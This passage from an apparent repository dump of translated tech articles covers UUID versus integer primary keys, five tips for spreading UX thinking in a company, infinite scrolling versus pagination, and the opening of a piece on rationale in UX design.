在插入数据之前，你就能知道这个主键的值，这避免了一轮的数据查找，并且简化了事务的逻辑，即在你插入子记录之前，因为需要使用这个主键作为一个外键，你必须要知道这个主键的值。\n3. UUIDs 不会透露数据的信息，因此被用在 URL 中也比自增整数更安全。比如，我是编号 12345678 号顾客，那么人们就会猜测编号为 12345677 和 12345679 的顾客的存在，这就提供了一种攻击向量。（但是后面我们会看到一个更好的替代品）\n\n### UUIDs 的缺点\n\n#### 不要太天真了\n\n一个基础的 UUID 大概是这个样子的： `70E2E8DE-500E-4630-B3CB-166131D35C21`，它将会被视为字符串对待，比如 `varchar(36)` - 千万不要这么做！\n\n你会说，“哼，才不会有人这么做呢。”\n\n我再三考虑了下 - 就我所接手的两个大型企业级数据库来看，他们确实是那么实施的。除了 9 倍的多余开销外（比起 36 字节，整数类型只占了 4 字节），字符串在排序上也没有数字快，因为它们依赖排序规则。\n\n在一家公司还曾发生过十分糟糕的事情，一开始他们使用 Latin-1 字符集。当我们打算转为 UTF-8 时，好几个联合索引因为太大而存不下。哦！\n\n#### UUIDs 之殇\n\n不要低估处理大到不能存储和表达的值的恼人程度。\n\n#### 为实际的扩展做计划\n\n如果我们的目标是扩展，我是说**真正的扩展**。那么首先让我们意识到 `int` 类型在很多情况下是不够大的。在大约 20 亿（需要 4 字节）的时候就溢出了。然而每个数据库中我们都有远超 20 亿大小的数据存在。\n\n因此，`bigint` 在某些时候才是我们真正需要的，它占 8 个字节。此外，还有其他多个策略可供选择。像是 PostgreSQL 和 SQL Server 这些数据库都有 16 字节的原生类型。\n\n谁会介意是否是 `bigint` 的两倍或者 `int` 的四倍大小？这只是一点点字节，对吧？\n\n#### 规范良好的数据库中主键到处可见\n\n如果你的数据库有良好的规范，正如我现在所在的公司一样，每一次将一个键用作外键前会先进行评估。\n\n不单单在磁盘上，在进行 join 和 sort 时这些 key 还需要载入到内存中。内存的确越来越便宜了，但是无论磁盘还是内存它们都是有限的，并且也都不是免费的。\n\n我们的数据库用大量的关系表来存储外键，尤其是在一对多的关系中。账户表内含有多个卡号，地址，电话号码，用户名等等。对于拥有数十亿账户的一组表中的任意一列，外键的空间开销的增长都是十分快速的。\n\n#### 随机数排序十分困难\n\n另外一个问题就是碎片化 - 因为 UUIDs 是随机的，他们没有天然的生成顺序因此不能够被用于集群。这就是为什么 SQL Server 实现了一个 `newsequentialid()` 方法用于集群化索引的使用，这可能就是将 UUIDs 作为主键使用的[正确打开方式](https://msdn.microsoft.com/en-us/library/ms189786.aspx)了。其他的数据库可能也有类似的解决方案，PostgreSQL，MySQL 肯定是有的，其他的可能有。\n\n### 主键永远不应该被暴露，甚至是 UUIDs\n\n因为主键在其作用域内的唯一性，所以显然可以用作用户编号或者用在 URL 中来标志唯一页面或者记录。\n\n千万不要！\n\n下面我将阐明**在公开环境中暴露主键是十分不好的**这一观点。\n\n正如我上面所说过的，简单的自增值的基本问题便是它们容易被猜到。僵尸网络可以利用这点不断猜测直到找到真实值。（当然如果你使用 UUIDs，它们也可以进行暴力破解，只是猜中的几率将十分低）。\n\n理论上说试图猜中一个 UUID 可能是一件十分愚蠢的行为，然而 [Microsoft 还是告诫我们不要](https://msdn.microsoft.com/en-us/library/ms189786.aspx)使用 `newsequentialid()`，因为为了减少集群问题，它其实较为容易猜测。\n\n#### 我曾以为我的键绝对不会变（直到它们变了）\n\n不在公开环境使用主键还有一个无法反驳的原因：你**一旦**需要改变这个键值，那么所有外在的引用就不可用了。想象一下 “404 页面无法找到”的情形。 \n\n你什么时候需要更改键值呢？真巧，我们这个星期在做数据迁移，因为在 2003 年一个公司刚起步的时候谁能想到我们现在会需要 13 个庞大的 SQL Server 数据库并且依然在持续快速增长？\n\n永远不要说“绝不会”。我曾参与那次迁移项目，并且诸如此类的事情在我身上就发生过多次。与此相比，事先预防则更加简单。当你置身数万亿的数据之中迁移将变得更加困难。\n\n事实上，我现在公司的场景就是为什么需要 UUIDs 的最好例子，以及为什么 UUIDs 开销巨大，为什么在公开环境中暴露主键是一个问题。\n\n#### 我的内部系统是对外的\n\n我管理的 Hadoop 基础设施每晚都会接收到来自我们所有数据库的数据。该 Hadoop 系统连接到我们的 SQL Server 数据库，这没什么问题，因为这两个同属一家公司。\n\n还有，为了避免多个数据库间的序列化键冲突，我们通过关联两个值来生成了一个假的主键，跨数据库唯一的客户编号（主键），加上它们在表内的序列号。\n\n通过这样做我们在多年的历史用户数据之间建立了紧密且有效地永久联系。如果这些在关系数据库管理系统中的主键发生了改变，我们与之相对应的键也要进行改变，否则将会产生令人恐惧的前后不一致。\n\n### 如何两全其美？内部引用用整型，外部引用用 UUIDs \n\n有一个在多个不同场景下都有效的解决办法，简单来说就是，两者都用。（请注意：这不是一个好方法 - 请看下面我记录的 Chris 对原始博文回复）\n\n在内部，让数据库用小而有效、数值型的序列键来管理数据关系，`int` 或是 `bigint` 皆可。\n\n然后**增加一列**用于存放 UUID（可以将其设计进插入的预处理操作里）。在一个数据库自身的范围内，可以使用普通的主键和外键来管理关系。\n\n当需要暴露一个数据的引用到外部时，**即使这里的“外部”是另一个内部系统，**它们也必须依赖 UUID。\n\n这样一来，如果你需要改变内部的主键，那么你也可以确保它的影响范围在一个数据库内。（注意：正如 Chris 评论的，这点明显错了）\n\n我们曾在另一个公司的客户数据上采用了这个策略，正是为了避免主键“易被猜测”的问题。（注意：避免不同于阻止，详见下文）。\n\n另一种情况，我会生成了一“段”文本（例如像本篇一样的博文）用于 URL 使其更加对用户友好的。如果有冲突，那么只需追加一段哈希值。\n\n即使作为“次级主键”（译者注：这里的次级主键指拥有主键特性用于外部引用的键），简单地使用字符串形式的 UUIDs 也是错的：我推荐使用内置的数据库机制生成 8 字节整型值。\n\n使用整型是因为它们是高效的。另外也可将数据库实现的 UUIDs 用于无规律化外部引用，避免暴力破解。\n\n[Chris Russell](https://medium.com/@crussell52) 就原始博文的本节给予的回应正确地指出了两个重要的逻辑上的预警或者说是错误。第一点，即使用 UUID 代替真实的主键暴露在外，实际上也会披露很多信息，特别是在用 `newsequentialid` 的时候 - 不用试图用 UUIDs 来保证安全。第二点，如果所给的 schema 的关系在内部被整数键所管理，在合并两个数据库时你依然会有键冲突的问题，除非允许所有的键有两个记录存在...如果是这种情况的话，就使用 UUID。因此，在现实中，正确的解决方案可能是：你可以用 UUIDs 当做键，但是绝不要暴露他们。如何对内或是对外的事情最好还是留给像是 url 友好化处理的模块来负责，并且再（正如 Medium 所做的那样）用一个哈希值附加在尾部。感谢 Chris！\n\n#### 附言和感谢\n\n感谢 [Ruby Weekly](http://rubyweekly.com/issues/335)（我始终在看，尽管我现在在用的是 Scala），[来自 Honeybadger 公司的 Starr Horne 关于此观点的优秀文章](http://blog.honeybadger.io/easy_rails_database_scaling_wins/)，[Jeff Atwood 在 Coding Horror 上发表的总是充满幽默和智慧的文章](https://blog.codinghorror.com/primary-keys-ids-versus-guids/)，Stack Overflow 的联合创始人，自然还有来自 Starkoverflow 的 [dba.stackexchange.com](http://dba.stackexchange.com/questions/69254/whats-the-most-efficient-uuid-column-type) 上的一个不错的问题。当然还有一篇来自 [MySqlserverTeam](http://mysqlserverteam.com/storing-uuid-values-in-mysql-tables/) 的非常棒的文章，另一篇来自 [theBuild.com](http://thebuild.com/blog/2015/10/08/uuid-vs-bigserial-for-primary-keys/) 以及我此前给过链接的 MSDN。\n\n### 后记：我为什么写这篇文章\n\n我从写这篇文章中学到了**很多**。\n\n事情开始于一个周日的下午, 我在看邮件。\n\n然后我偶然看到一篇 Starr 写的有趣的文章，这不禁让我开始思考他的建议可能带来一些意料之外的效果。因此我开始去 google 搜索相关资料，而这拓宽了我对 UUIDs 的认识，**并且**改变了我对于如何使用它们的基本认知和态度。\n\n写作途中，我曾给公司的组长发邮件询问我们的数据库设计是否考虑到了上面我所谈论到的几个观点。但愿我们做得很好，但是我想在本周计划发布的代码中我们已经避免掉了至少一个不可预计的意外。\n\n写下这篇文章纯属满足私欲 :-)\n\n但愿你也能喜欢！\n\n[图片来源](http://unlockforus.blogspot.com/2008/03/advanced-how-to-creategenerate-new-guid.html)\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/ux-and-design-thinking-5-tips-for-changing-your-company-mindset.md",
    "content": "> * 原文地址：[UX and design thinking: 5 tips for changing your company mindset](https://uxdesign.cc/ux-and-design-thinking-5-tips-for-changing-your-company-mindset-167177622651)\n> * 原文作者：[Tania Conte](https://uxdesign.cc/@tania.conte)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：\n> * 校对者：\n\n# UX and design thinking: 5 tips for changing your company mindset\n\n![](https://cdn-images-1.medium.com/max/800/1*V5dbnjBFOsoLI_cF4c4Jaw@2x.png)\n\nimage [designed by Creativeart / Freepik](http://www.freepik.com)\n\n## An actionable guide to make the UX designer role clear to your company and team\n\n---\n\nThe UX design is based off an attitude, a mindset that aims to catch those unfulfilled user needs in the context of a certain experience and turn them into design opportunities, through a process made of specific steps, mainly provided by the “design thinking tool set”.\n\nConversely, so many companies in the digital industry keep on working all centred on personal assumptions and tastes of the ones that are in charge for the ultimate decision or of those ones who put the money into the project. These assumptions and tastes are all conveyed into the final product!\n\nWell, if you are reading this article, you may feel like a natural-born UX designer and you have probably spent your weekends and nights learning about UX methods, techniques, metrics and tools just to validate your natural attitude. You are probably convinced that your goal is to deliver successful products, but you feel like your working team doesn’t appreciate your work. You put all your efforts into it, but when you look at the final result you feel like an underachiever.\n\nIt may sound like a huge mission, but you should try to bring some of your UX designer mindset to your company both for your mental and professional well-being and for the company success. It may cost you some extra work to perform processes and tasks that, at the beginning, may not be appreciated and taken into account by the other members of the team but it’s worth a try.\n\n### 1. User research process: make it accessible\n\n> As a first step, you need to shift the focus of product design from managers’ assumptions and tastes to user needs.\n\nFor achieving this goal you need to apply some tweaks to your “get out of the building” mantra as a user researcher. Users are the only ones who can convince managers that they are a real goldmine for design opportunities, but as the one who conducts this game you must keep them real.\n\nManagers and investors are hard to convince if you get out of the building for your user research work and get back to them later just for debriefing them with the final report. Make your user research process accessible! Social networks, where you can both join in groups and channels and create your own are definitely a valuable resource to get in touch and work with users.\n\n![](https://cdn-images-1.medium.com/max/800/1*JQXjrHKYJeFI6Eyz_6Isbw.jpeg)\n\nimage [designed by Creativeart / Freepik](http://www.freepik.com)\n\nYou can invite managers and investors to join in as well, so they can follow all your work as a user researcher while you interact with users, build a relationship with them, administering questionnaires and ask for their help on a specific case. For each questionnaire you’ll produce a report with all the collected insights, and, hopefully, your managers and investors will perceive them with all their “scientific” and objective relevance.\n\n### 2. Sharing deliverables: do it in a physical place!\n\nMaybe in you office meeting room there’s already a white board or some boards for sticky notes. Right from there, you can start building a place where you can share your UX design deliverables with your team.\n\n> Any digital platform for sharing documentation can be fine, of course, but a physical place where you can leave a copy of your deliverables just pinned on the wall can have a great impact on your (still) backward workmates.\n\nAn overall visual perception can provide them with such a powerful convincing evidence of your work relevance! You can even ask your team members to spend some time just sitting alone and quiet in the meeting room for giving a look at each new deliverable addition. They will appreciate your invitation to share with them your findings, as they will also be curious to know what your work is about. This way, you’ll also make sure that they will be much more focused, avoiding distractions while away from their computers.\n\n![](https://cdn-images-1.medium.com/max/800/1*1JrVye9Yj1-SqGe8N_V_iA.jpeg)\n\nimage [designed by Creativeart / Freepik](http://www.freepik.com)\n\n### 3. User stories: lines of code making sense\n\nOne of those attitudes that are hard to break is that “the user will get used to it” that’s very typical for developers. They spend too much time coping with their code and machines and they loose touch with users and their real needs. Moreover, their mindset is totally different from the average user mindset, so it’s important to provide them with something that keep their heads in the real world. So, for each chunk of functionality you’d better write some user stories to share with your developers: this will prevent them to feel free to change your UI just to make it quick and easy for themselves to develop. So, all of the elements in your UI, as well as every step in the interaction flow, will have a relevance clearly stated in the related user story. And… you will have plenty of evidence to defend your work when it comes to be turned from a prototype into a fully working application.\n\n### 4. Giving key points: 10 heuristics in plain view\n\nWell, just another way to help your team to get some UX design sense is to give them a list of defined key points, that they can recognise and apply in their own work. It would be great if developers could get involved in the user testing process with prototypes and all the heuristic evaluation work and iterations, but it would be extremely time consuming. Anyway, it can be very useful for the ultimate quality of the product that they endorse those [10 heuristic principles](https://www.nngroup.com/articles/ten-usability-heuristics/) stated by Jakob Nielsen.\n\nWhen we were just kids, our teachers in the school used to hang on the wall all those posters with relevant information for supporting our learning. So, that’s about the same case! Just hang on the wall in the development team room a list with all the 10 heuristic principles with a short description of each of them, so that you can't miss to point them out, while working with developers.\n\n![](https://cdn-images-1.medium.com/max/800/1*_Orlpba0Ey_o4SI6GfO-6A.jpeg)\n\nTen usability heuristics, summarised by professor Scott Klemmer for Interaction Design Specialization @ Coursera\n### 5. Periodical checkpoints: “dating” your user personas\n\nMake sure that among the deliverables, pinned on one of the meeting room board, there’s a couple of your user persona posters. It will be essential for your team have periodical “dates” with your “users representative” just n0t to forget where everything started and to check if their expectations have been disappointed at some stage of the production process. These periodical checkpoints are needed to always stay on track with a mindset focused on user-centred and UX design, make critical analysis and find an adjustment, if some technical or budget issues determine any constraints.\n\n![](https://cdn-images-1.medium.com/max/800/1*uJpRxOLziPlPUWIu8rRZHA.jpeg)\n\nA user persona is a key component in every UX design project and every team member has to keep it in mind.\n\n---\n\nWell, this can be just the starting point to introduce UX design and Design Thinking in your company by improving the understanding of it with these 5 actionable tips. I really wish that in every business there was room for let such a user-centred mindset in, as well as for some bold natural-born UX designer, fool enough to make the job. In a few years we expect that user experience will make the difference between brands. Is the digital industry ready to meet the challenge? This is another story that I’m going to discuss in my next article. Stay tuned!\n\n### Worth reading?\n\nDo not forget to click the **♡** below to help others find it, and leave a comment. Thanks for reading!\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/ux-infinite-scrolling-vs-pagination.md",
    "content": ">* 原文链接 : [UX: Infinite Scrolling vs. Pagination](https://uxplanet.org/ux-infinite-scrolling-vs-pagination-1030d29376f1#.4mfu0ijhu)\n* 原文作者 : [Nick Babich](https://medium.com/@101)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 :  [Ruixi](https://github.com/Ruixi)\n* 校对者:[Velacielad](https://github.com/Velacielad), [wild-flame](https://github.com/wild-flame)\n\n\n“我应该为我的项目选择无限下拉模式还是分页模式呢？” 一些设计师依然在为项目应该选择这两种模式之间的哪个来实现而纠结。每种模式都有他们的优势和劣势，而在这篇文章中，我们会概述这两种模式，并决定为我们的项目选择哪一个。\n\n### 无限下拉模式\n\n无限下拉模式使用户在浏览包含大量信息时能够使页面无穷无尽，它实现起来也并不复杂，只要在用户下滑时更新页面就行。听上去似乎还挺诱人的，然而这种模式并不是应对所有网站或应用的万全之策。\n\n![](https://cdn-images-1.medium.com/freeze/max/30/1*4YjR_KzD2wsFP_MDM5lE0Q.png?q=20)![](https://cdn-images-1.medium.com/max/800/1*4YjR_KzD2wsFP_MDM5lE0Q.png)</div>\n\n<figcaption>无限下拉</figcaption>\n\n\n#### **优势 #1: 用户参与和内容发现**\n\n当你使用滚动作为检索数据的主要方式的时候，它_可能_会让用户在你的网页上停留得更久，用户参与也随之增加。随着社交网络的普及，大量的信息被消耗；无限下拉提供了一种无需等待页面预加载即可_畅游信息之海的有效方法_。\n\n无限下拉是几乎每个_发现界面_的必备功能。在用户并不搜索特定内容，而是需要阅览海量信息来发现他们感兴趣的事物的状况下。\n\n![](https://cdn-images-1.medium.com/max/800/1*ufczGiC2hnW3ogCNsXNzuQ.png)</div>\n\n<figcaption>_Pinterest的海量pins_</figcaption>\n\n你可能会把 Facebook news feed 作为估量无限下拉模式优势的例证。显然，因为内容的刷新实再是频繁，用户清楚自己不会在信息流中看到_所有_的东西。 通过使用无限下拉模式，Facebook 尽力向用户展现尽可能多的信息，而用户则浏览着，_消耗_着这股信息流。\n\n![](https://cdn-images-1.medium.com/max/800/1*Tp7uqBoVLSOIfwngtJMeGg.png)</div>\n\n<figcaption>Facebook news feed 促使用户不断下滑以刷新内容</figcaption>\n\n#### 优势 #2: 下拉比点击更易于操作\n\n_相对于点击来说用户更熟悉下拉_。鼠标滚轮或者触摸屏让下拉（的动作）要比点击来的轻松迅捷。对于连续而冗长的内容，比如一篇教程，下拉模式相对将文本分为几个不同的屏幕或页面提供了 [更好的可用性<sup></sup>](http://www.hugeinc.com/ideas/perspective/everybody-scrolls)。\n\n![](https://cdn-images-1.medium.com/max/800/1*UFQxw3Mvf7XgdRGNYZ_2yA.jpeg)</div>\n\n<figcaption>点击事件: 每次内容刷新都需要一次额外的点击动作，还有等待页面加载的时间。下拉: 内容刷新只需要一个下拉动作。 图片来源:[designbolts<sup></sup>](http://www.designbolts.com/2014/12/30/10-of-the-most-anticipated-web-design-trends-to-look-for-in-2015/)</figcaption>\n\n#### 优势 #3: 下拉适用于移动设备\n\n_屏幕越小，拉得越长_。移动浏览的普及是长下拉的又一重要支撑。移动设备的手势使下拉（的动作）直观易用。其结果是，无论所使用的设备如何，用户都能享受到真正的响应式体验。\n\n![](http://ww3.sinaimg.cn/large/005SiNxygw1f3p890yozrg30m80go7wo.gif)</div>\n\n<figcaption>来源: [Dribbble<sup></sup>](https://dribbble.com/shots/2352597-Craigslist-redesign-mobile)</figcaption>\n\n#### 劣势 #1: 页面性能和设备资源\n\n_页面加载速度对于良好的用户体验来说意味着一切_。 多项研究已经[表明<sup></sup>](https://blog.kissmetrics.com/loading-time/) 缓慢的加载速度会导致人们离开你的网站或者卸载你的应用，而这些则意味着低转化率。这对于那些使用了无限下拉模式的人们来说是个坏事。用户下拉的越多，在同一页面加载的内容也就越多。其结果是，_页面性能会越来越慢_。\n\n另一个问题是用户设备的性能限制。在很多能够无限下拉的网站，特别是有很多图片的那种，性能有限的设备，比如iPad，可能会由于大量加载的数据而变慢。\n\n#### **劣势 #2: 项目搜索和定位**\n\n无限下拉的另一个问题是当用户在信息流中选定一个点的时候，他们_无法标记_并稍后返回到这里。一旦离开站点，他们会丢失所有的进度，还不得不重新下拉到原来的位置。 无法确定下拉的位置不仅会为用户带来烦恼或困惑，也会导致对整体用户体验的损害。\n\n2012年 Etsy 花了些时间实现了无限下拉的界面，却 [发现<sup></sup>](http://www.slideshare.net/danmckinley/design-for-continuous-experimentation) 新界面的运行并不如分页模式的界面。尽管交易额坚挺如旧，用户参与却有所降低——现在人们使用搜索已经不再那么频繁。\n\n![](https://cdn-images-1.medium.com/max/800/1*fzb-pg0noBPYBia8ZhsLBw.png)\n\n<figcaption>Etsy 的无限下拉式搜索界面。目前的版本有分页。</figcaption>\n\nDmitry Fadeyev [指出<sup></sup>](http://usabilitypost.com/2013/01/07/when-infinite-scroll-doesnt-work/): “人们会想要回去看一眼搜索结果列表来检查他们刚过看过的项目，将它们与自己在列表中的其他地方看到的进行比对。无限下拉模式不但破坏了这种动态，更将其中的上下移动列表变得的困难起来，特别是你在其他时间回到这个页面，却发现你又要从头再来，不得不重新向下滑动列表，还要等待加载结果的时候。这样的话，无限下拉模式实际上比分页模式要慢。”\n\n#### 劣势 #3: 不相干的滚动条\n\n另一个烦人的东西是不反映实际可用数据量的滚动条。 你可能愉悦的滑动页面，以为自己正靠近底部，这可能会让你稍微多滑了那么一点，结果就会是在当你抵达的时候，（内容）刚好翻了一倍。从可达性(accessibility)的角度来说的话，影响用户对滚动条的使用这一点真是糟糕。\n\n![](https://cdn-images-1.medium.com/freeze/max/30/1*8ArcBlJK19mNRGIg3jBa-g.jpeg?q=20)![](https://cdn-images-1.medium.com/max/800/1*8ArcBlJK19mNRGIg3jBa-g.jpeg)\n\n<figcaption>滚动条应反映实际的页面长度</figcaption>\n\n#### 劣势 #4: 缺少底栏\n\n底栏是有理由存在的：它们包含用户有时会需要的信息——一旦用户找不到什么东西或者想要获取更多信息的话，他们常常会去找找底栏。但因为无限下拉的缘故，用户在触及底部的同时，会有更多的数据加载，每次都会将底栏推到视线之外。\n![](https://cdn-images-1.medium.com/freeze/max/30/1*wywLjoN1ngn3ngTYu6p9qw.jpeg?q=20)\n\n![](https://cdn-images-1.medium.com/max/800/1*wywLjoN1ngn3ngTYu6p9qw.jpeg)\n\n<figcaption>LinkedIn 在2012引入了无限下拉时，在用户加载新的内容之前截取屏幕。</figcaption>\n\n使用无限下拉的网站，应该让底栏_固定在（网页）底部_或将链接移至顶栏或_侧边栏_。\n\n![](https://cdn-images-1.medium.com/max/800/1*S0DOI2NG84PBMGO0gPn71A.png)\n\n<figcaption>Facebook 把所有底部链接 (比如“法律声明”“招贤纳士”) 移到了右侧边栏。</figcaption>\n\n另一个解决方案是通过使用一个加载更多的按钮，_根据需要_加载。新内容不会自动加载，除非点击_加载更多_的按钮。这样以来用户不用追逐就能容易的到达你的底栏。\n\n![](https://cdn-images-1.medium.com/max/800/1*du1cepjlGiMG-yMfV2RRSw.png)\n\n<figcaption>Instagram 使用“加载更多”按钮以期让用户可以触及底栏。</figcaption>\n\n### 分页模式\n\n分页模式是一种将内容分解到不同的独立页面的用户界面模型。如果你下拉到页面底部，看到了一串数字——那就是这个网站或者应用的分页。\n\n![](https://cdn-images-1.medium.com/max/800/1*Cmf8-zXra4FXC7sRlS0yzw.jpeg)\n\n<figcaption>分页</figcaption>\n\n#### **优势 #1: 优秀的转化效果**\n\n分页模式适用于用户需要在搜索结果列表中_检索_特定内容的时候，而不是仅仅对信息流进行_浏览_。\n\n你可能会把 Google 搜索作为估量分页模式优势的例证。寻找最好的搜索结果，短只需要几秒钟，长则花个把小时，都取决于你的搜索内容。但当你决定不再按当前模式在 Google 搜索时，你知道搜索结果的具体数量。 你可以决定在何处停止或有多少搜索结果需要阅览。\n\n![](https://cdn-images-1.medium.com/max/800/1*UkscmldH9wnnFEGV70OtuA.png)\n\n<figcaption>Google 搜索结果数据</figcaption>\n\n#### **优势 #2: 掌控感**\n\n_无限下拉像是一场无休止的游戏 _——不论你已经下拉了多长，你都会觉得这永远都不会有尽头。用户在知道搜索结果数目时更能够作出更明智的决定，而不是在被留在那里面对着一个无限下拉的表单时。 根据 David Kieras 的研究[人机交互中的心理学<sup></sup>](http://videolectures.net/chi08_kieras_phc/): “抵达终点提供了一种掌控感。_”。这项研究也阐明了当用户受限但是依然有相关结果时，他们很容易确定自己在找的到底在不在这里。\n\n当用户看到的结果总数时（当结果的总数不是无限的）他们会多估计长时间自己寻找所需的时间。\n\n#### 优势 #3: 项目位置\n\n一个有分页的界面会让用户对项目的大致位置有所感观。他们可能不清楚具体的页码，但会记得大致位置，而分页的链接则让这个过程更加轻松。\n\n![](https://cdn-images-1.medium.com/max/800/1*yHj3EYY8ebffjwyM-bwjoQ.png)\n\n<figcaption>在使用分页时，用户可以掌控自己的浏览方式，因为他们知道可以点击哪个页面来回到之前浏览的地方。</figcaption>\n\n分页模式很适合哪些电子商务性质的网站和应用。当用户在线购物时，他们会想要回到刚才离开的位置，继续购物。\n\n![](https://cdn-images-1.medium.com/max/800/1*osnIWtLG6UusQjDJZGRpDw.jpeg)\n\n<figcaption>MR Porter 网站使用了分页模式</figcaption>\n\n#### 劣势: 额外的动作\n\n在分页模式下，如果要去下一个页面，用户需要找到目标链接（比如“下一页”），把鼠标悬停在其上方，点击，还要等待新页面加载完毕。\n\n![](https://cdn-images-1.medium.com/max/800/1*l5djDDvsP0_JU7oP1EQIbg.png)\n\n<figcaption>点击获取内容</figcaption>\n\n这里主要的问题是，大多数网站都只为用户在一个单一的页面中显示非常有限的内容。只有在使你的网页更长且不影响加载速度的情况下，才可以使用户在单一页面无需点击分页按钮获得的更多的内容。\n\n### 什么时候选用无限下拉/分页模式?\n\n只有在少数几种情境下无限下拉模式才会相当好用。它非常适合那些_用户产生内容_(Twitter, Facebook) 或者 _视觉内容_ (Pinterest, Instagram)的网站和应用。 另一方面，分页模式则是一种安全的选择， 也是那些满足用户的目标导向活动(goal-oriented activities)的网站和应用的优秀解决方案。\n\n在这一点上 Google 的经验就是一个很好的例子。 Google 图片选用了无限下拉模式，因为用户浏览和理解图像的速度要快于文本。阅读搜索结果需要更长的时间。这就是为什么 Google 搜索依然使用分页模式。\n\n### 结论\n\n设计师们需要在权衡这两种模式的优劣之后作出选择。选择取决于你的设计情境和内容的传达方式。总的来说，无限下拉模式适用于类似 Twitter 这种网站，用户消耗着永不停歇的信息流，_不需要寻找什么特定的东西_；而分页模式则适用于_用户需要查找特定项目，而且已浏览记录也是很重要的_搜索页。\n\n在以后的文章中我们将介绍无限下拉模式和分页模式的最佳实践。敬请期待！\n\n"
  },
  {
    "path": "TODO/ux-is-grounded-in-rationale-not-design.md",
    "content": "\n> * 原文地址：[UX is Grounded in Rationale, not Design](https://uxplanet.org/ux-is-grounded-in-rationale-not-design-49e8f77b8f58)\n> * 原文作者：[tif.wang](https://uxplanet.org/@twazzle)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/ux-is-grounded-in-rationale-not-design.md](https://github.com/xitu/gold-miner/blob/master/TODO/ux-is-grounded-in-rationale-not-design.md)\n> * 译者：[horizon13th](https://github.com/horizon13th)\n> * 校对者：[CACppuccino](https://github.com/CACppuccino)\n\n# UX 基于背后的合理化，而非设计\n\n![](https://cdn-images-1.medium.com/max/1600/0*Qjtb14dgGZmwUgOP.png)\n\n[https://ccrma.stanford.edu/wiki/Interaction_Design_Framework](https://ccrma.stanford.edu/wiki/Interaction_Design_Framework)\n\n去年实习的那几周，我感到困顿且毫无动力，不知道自己到底应该做什么。又或者我做的工作到底值不值得我投入的时间，我应该怎样最大化地利用我的时间呢？实习期只有 12 周的时间，其紧迫感让我感觉其它任何事都没有实习重要。时间的压力让我总觉得不能快速学习项目，不能融入公司氛围，纠结于将时间分配在项目的哪一个方向。幸运的是，我的项目经理，[J.B. Chaykowsky](https://medium.com/@jbchaykowsky)，在我困惑之时提议让我将所学所得总结下来。我们这才得以将我学到的分析提炼，又或者围绕我现在需要解决的问题找出“真理”。这段经历改变了我做设计甚至做事的思维模式。\n\n> 当你尝试构建一个问题时，你将会从不同方面了解问题的背景，选择研究方法，并根据原则评估设计。\n\nDan Brown 写的一篇文章 [**探索实践设计**](https://alistapart.com/article/practical-design-discovery)，与项目经理试着帮助我做的事情产生共鸣，那就是：构建问题并主导设计方向，会帮助我看到问题的大背景：问题是什么，谁在其中，怎样做以解决问题。而非仅仅看到设计（解决方案）颗粒化的细节。\n\n### 你肯定不想早早开始画概念图\n\n![](https://cdn-images-1.medium.com/max/1600/0*3gJxd6BvvMCjSrGj.jpg)\n\n[https://dribbble.com/shots/2073055-OpenTable-consumer-iOS-app-wireframes](https://dribbble.com/shots/2073055-OpenTable-consumer-iOS-app-wireframes)\n\n在我实习最开始的几周，我专注于花草图，做实事。然而，当在我还未理解用户所面对的问题时，怎能画出好的解决方案呢？尽管我围绕问题确实做了一些用户研究，看了看之前用户数据的分析结果等等，但我的探索背后并没有具体理论支持，甚至不确信我的解决方案是否可行。\n\n用户研究及其重要，然而，将用户研究所得到的信息**结合**而得到新机遇更加重要。相比之下，把产品做好看，或者开发一个已经存在的产品便不那么重要了。用户研究让设计师们协作起来，给大家机会来表达自己的观点，用群众智慧组团解决更大的问题。\n\n> 用画板来思考，不过在弄清问题之前，别太早尝试手绘解决方案。\n\n手绘的方式很棒，能帮助你可视化，概念化。但当你对问题不了解时，不要轻易尝试画出解决方案，这会过早地框住你的想法。尽管有人会提倡一开始就手绘结果，但是何不利用时间慢慢沉淀信息，以得到一个可靠的产品框架呢？\n\n### 多思考别蛮干（别把脑袋丢了噢～）\n\n![](https://cdn-images-1.medium.com/max/1600/0*Z1s829rQRLCI-GoN.jpg)\n\n我和很多人聊过，写下每一件我学到的事情，但是**抄写不等于理解**，我并没能够通过写下这些内容而更好地理解问题，反而是想先记下以后再慢慢理解吧。\n\n解决方案背后没有原理的支持，我的那堆设计只不过是支离破碎的框架，根本就架不住推理。（有实践无理论）但如果我仅仅在初期关注问题的合理化，也是得不出有效的方案的。（有理论无实践）\n\n> 我需要做的是将焦点转移，从盲目动手转移到理论实践相结合。\n\n动手之前，你需要打下好的基础。这会潜在地引导你向正确的方向发展，以防误入歧途走他人老路。慢慢地，我将各方面获得的知识结合，包括我之前学到的，公司的经验，现在手中的项目，用户问题研究。将不同方面从视觉上铺展开，为我提供了一个清晰的视角以构建问题。\n\n对所有事保持质疑让我意识到，我不能未开辟视野就开始设计，而是要先拓展视角再收敛专注。部分问题可能有某种解法，其它人从未尝试过。若有其它设计师做过相似案例，这样也能避免雷同重复的步骤。\n\n### 深究问题\n\n![](https://cdn-images-1.medium.com/max/1600/0*Qw0WTbgshXn6n2Ky.jpg)\n\nAkhil 